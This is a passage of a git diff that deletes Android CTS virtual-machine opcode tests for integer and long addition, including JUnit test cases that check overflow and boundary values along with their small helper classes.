diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_4.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_4.java
deleted file mode 100644
index 0fa1146..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_4.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_4 {
-
-    public int run() {
-        return (-2147483647) + 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_5.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_5.java
deleted file mode 100644
index 2080b8b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_5 {
-
-    public int run() {
-        return 0x7ffffffe + 2;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_6.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_6.java
deleted file mode 100644
index 4db27b0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_6.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_6 {
-
-    public int run() {
-        return -1 + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_7.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_7.java
deleted file mode 100644
index b74ed5d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_7.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_7 {
-
-    public int run() {
-        return 0 + Short.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_8.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_8.java
deleted file mode 100644
index c4900e0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_8.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_8 {
-
-    public int run() {
-        return Integer.MAX_VALUE + Short.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_9.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_9.java
deleted file mode 100644
index 3368cf9..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit16/AddIntLit16_9.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit16;
-
-public class AddIntLit16_9 {
-
-    public int run() {
-        return Integer.MAX_VALUE + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8.java
deleted file mode 100644
index fe3710b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_int_lit8;
-
-import junit.framework.TestCase;
-
-public class AddIntLit8 extends TestCase {
-    /**
-     * @title Arguments = 8 + 4
-     */
-    public void testN1() {
-        AddIntLit8_1 t = new AddIntLit8_1();
-        assertEquals(12, t.run());
-    }
-
-    /**
-     * @title Arguments = Byte.MIN_VALUE + Byte.MAX_VALUE
-     */
-    public void testN2() {
-        AddIntLit8_2 t = new AddIntLit8_2();
-        assertEquals(-1, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + (-128)
-     */
-    public void testN3() {
-        AddIntLit8_3 t = new AddIntLit8_3();
-        assertEquals(-128, t.run());
-    }
-
-    /**
-     * @title Arguments = (-2147483647) + 0
-     */
-    public void testN4() {
-        AddIntLit8_4 t = new AddIntLit8_4();
-        assertEquals(-2147483647, t.run());
-    }
-
-    /**
-     * @title Arguments = 0x7ffffffe + 2
-     */
-    public void testN5() {
-        AddIntLit8_5 t = new AddIntLit8_5();
-        assertEquals(-2147483648, t.run());
-    }
-
-    /**
-     * @title Arguments = -1 + 1
-     */
-    public void testN6() {
-        AddIntLit8_6 t = new AddIntLit8_6();
-        assertEquals(0, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + Byte.MAX_VALUE
-     */
-    public void testB1() {
-        AddIntLit8_7 t = new AddIntLit8_7();
-        assertEquals(Byte.MAX_VALUE, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE + Byte.MAX_VALUE
-     */
-    public void testB2() {
-        AddIntLit8_8 t = new AddIntLit8_8();
-        assertEquals(-2147483522, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MAX_VALUE + 1
-     */
-    public void testB3() {
-        AddIntLit8_9 t = new AddIntLit8_9();
-        assertEquals(Integer.MIN_VALUE, t.run());
-    }
-
-    /**
-     * @title Arguments = Integer.MIN_VALUE + 1
-     */
-    public void testB4() {
-        AddIntLit8_10 t = new AddIntLit8_10();
-        assertEquals(-2147483647, t.run());
-    }
-
-    /**
-     * @title Arguments = 0 + 0
-     */
-    public void testB5() {
-        AddIntLit8_11 t = new AddIntLit8_11();
-        assertEquals(0, t.run());
-    }
-
-    /**
-     * @title Arguments = Short.MIN_VALUE + Byte.MIN_VALUE
-     */
-    public void testB6() {
-        AddIntLit8_12 t = new AddIntLit8_12();
-        assertEquals(-32896, t.run());
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_1.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_1.java
deleted file mode 100644
index 2017b31..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_1 {
-
-    public int run() {
-        return 8 + 4;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_10.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_10.java
deleted file mode 100644
index 88fae83..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_10.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_10 {
-
-    public int run() {
-        return Integer.MIN_VALUE + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_11.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_11.java
deleted file mode 100644
index 5c29a91..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_11.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_11 {
-
-    public int run() {
-        return 0 + 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_12.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_12.java
deleted file mode 100644
index 9fa0a8d..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_12.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_12 {
-
-    public int run() {
-        return Short.MIN_VALUE + Byte.MIN_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_16.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_16.java
deleted file mode 100644
index f8338e8..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_16.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_16 {
-
-    public int run(float f) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_2.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_2.java
deleted file mode 100644
index eaa4f38..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_2.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_2 {
-
-    public int run() {
-        return Byte.MIN_VALUE + Byte.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_3.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_3.java
deleted file mode 100644
index e7b0534..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_3.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_3 {
-
-    public int run() {
-        return 0 + (-128);
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_4.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_4.java
deleted file mode 100644
index 7a22091..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_4.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_4 {
-
-    public int run() {
-        return (-2147483647) + 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_5.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_5.java
deleted file mode 100644
index bfbd8c5..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_5.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_5 {
-
-    public int run() {
-        return 0x7ffffffe + 2;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_6.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_6.java
deleted file mode 100644
index 7c14c37..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_6.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_6 {
-
-    public int run() {
-        return -1 + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_7.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_7.java
deleted file mode 100644
index d5347d0..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_7.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_7 {
-
-    public int run() {
-        return 0 + Byte.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_8.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_8.java
deleted file mode 100644
index c7a8a9b..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_8.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_8 {
-
-    public int run() {
-        return Integer.MAX_VALUE + Byte.MAX_VALUE;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_9.java b/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_9.java
deleted file mode 100644
index c246375..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_int_lit8/AddIntLit8_9.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_int_lit8;
-
-public class AddIntLit8_9 {
-
-    public int run() {
-        return Integer.MAX_VALUE + 1;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLongTest.java b/tests/vm/src/android/vm/cts/opcodes/add_long/AddLongTest.java
deleted file mode 100644
index 27c4536..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLongTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long;
-
-import junit.framework.TestCase;
-
-public class AddLongTest extends TestCase {
-    /**
-     * @title Arguments = 12345678l, 87654321l
-     */
-    public void testN1() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(99999999l, t.run(12345678l, 87654321l));
-    }
-
-    /**
-     * @title Arguments = 0l, 87654321l
-     */
-    public void testN2() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(87654321l, t.run(0l, 87654321l));
-    }
-
-    /**
-     * @title Arguments = -12345678l, 0l
-     */
-    public void testN3() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-12345678l, t.run(-12345678l, 0l));
-    }
-
-    /**
-     * @title Arguments = 0 + Long.MAX_VALUE
-     */
-    public void testB1() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(9223372036854775807L, t.run(0l, Long.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = 0 + Long.MIN_VALUE
-     */
-    public void testB2() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-9223372036854775808L, t.run(0l, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = 0 + 0
-     */
-    public void testB3() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(0l, t.run(0l, 0l));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + Long.MAX_VALUE
-     */
-    public void testB4() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-2, t.run(Long.MAX_VALUE, Long.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + Long.MIN_VALUE
-     */
-    public void testB5() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-1l, t.run(Long.MAX_VALUE, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MIN_VALUE + Long.MIN_VALUE
-     */
-    public void testB6() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(0l, t.run(Long.MIN_VALUE, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MIN_VALUE + 1
-     */
-    public void testB7() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-9223372036854775807l, t.run(Long.MIN_VALUE, 1l));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + 1
-     */
-    public void testB8() {
-        AddLong_1 t = new AddLong_1();
-        assertEquals(-9223372036854775808l, t.run(Long.MAX_VALUE, 1l));
-    }
-
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_1.java b/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_1.java
deleted file mode 100644
index 285e4df..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_1.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long;
-
-public class AddLong_1 {
-
-    public long run(long a, long b) {
-        return a+b;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_6.java b/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_6.java
deleted file mode 100644
index ff7195e..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long/AddLong_6.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.vm.cts.opcodes.add_long;
-
-public class AddLong_6 {
-
-    public long run(long a, double b) {
-        return 0;
-    }
-}
diff --git a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2AddrTest.java b/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2AddrTest.java
deleted file mode 100644
index 5e97757..0000000
--- a/tests/vm/src/android/vm/cts/opcodes/add_long_2addr/AddLong2AddrTest.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.vm.cts.opcodes.add_long_2addr;
-
-import junit.framework.TestCase;
-
-public class AddLong2AddrTest extends TestCase {
-    /**
-     * @title Arguments = 12345678l, 87654321l
-     */
-    public void testN1() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(99999999l, t.run(12345678l, 87654321l));
-    }
-
-    /**
-     * @title Arguments = 0l, 87654321l
-     */
-    public void testN2() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(87654321l, t.run(0l, 87654321l));
-    }
-
-    /**
-     * @title Arguments = -12345678l, 0l
-     */
-    public void testN3() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-12345678l, t.run(-12345678l, 0l));
-    }
-
-    /**
-     * @title Arguments = 0 + Long.MAX_VALUE
-     */
-    public void testB1() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(9223372036854775807L, t.run(0l, Long.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = 0 + Long.MIN_VALUE
-     */
-    public void testB2() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-9223372036854775808L, t.run(0l, Long.MIN_VALUE));
-    }
-
-    /**
-     * @title Arguments = 0 + 0
-     */
-    public void testB3() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(0l, t.run(0l, 0l));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + Long.MAX_VALUE
-     */
-    public void testB4() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-2, t.run(Long.MAX_VALUE, Long.MAX_VALUE));
-    }
-
-    /**
-     * @title Arguments = Long.MAX_VALUE + Long.MIN_VALUE
-     */
-    public void testB5() {
-        AddLong2Addr_1 t = new AddLong2Addr_1();
-        assertEquals(-1l, t.run(Long.MAX_VALUE, Long.MIN_VALUE));
-    }
-
-    /**
